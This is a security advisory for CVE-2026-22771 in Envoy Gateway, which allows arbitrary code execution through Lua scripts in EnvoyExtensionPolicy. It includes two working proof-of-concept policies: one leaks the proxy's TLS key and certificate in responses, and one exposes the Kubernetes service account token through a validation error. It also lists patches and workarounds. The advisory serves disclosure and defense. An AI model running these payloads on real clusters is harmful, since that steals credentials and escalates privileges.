Skip to content

Envoy Gateway arbitrary code execution through EnvoyExtensionPolicy Lua scripts

High
guydc published GHSA-xrwg-mqj6-6m22 Jan 12, 2026

Package

Gateway (Envoy Proxy)

Affected versions

< 1.5.7, <1.6.2

Patched versions

1.5.7, 1.6.2

Description

Impact

Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:

  • An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
  • Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open("/certs/tls.crt", "r")
             local content
             if cert then
                content = cert:read("*all")
                cert:close()
             else
                content = "file-not-found"
             end
             local keyfile = io.open("/certs/tls.key", "r")
             local contentkey
             if keyfile then
                contentkey = keyfile:read("*all")
                keyfile:close()
             else
                contentkey = "file-not-found"
             end
             local keypair = contentkey .. "\n" .. content
             response_handle:body():setBytes(keypair)
             response_handle:headers():replace("content-length", tostring(#keypair))
             response_handle:headers():replace("content-type", "text/plain")
           end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Results in:

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
[...]
status:
  ancestors:
    - ancestorRef:
        group: gateway.networking.k8s.io
        kind: Gateway
        name: eg
        namespace: default
      conditions:
        - lastTransitionTime: "..."
          message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
        failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
        traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
        in main chunk\n\t[G]: ?."

Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.

Patches

The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:

  • Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.
  • Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.
  • Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.

Workarounds

Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).

References

Are there any links users can visit to find out more?

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-22771

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits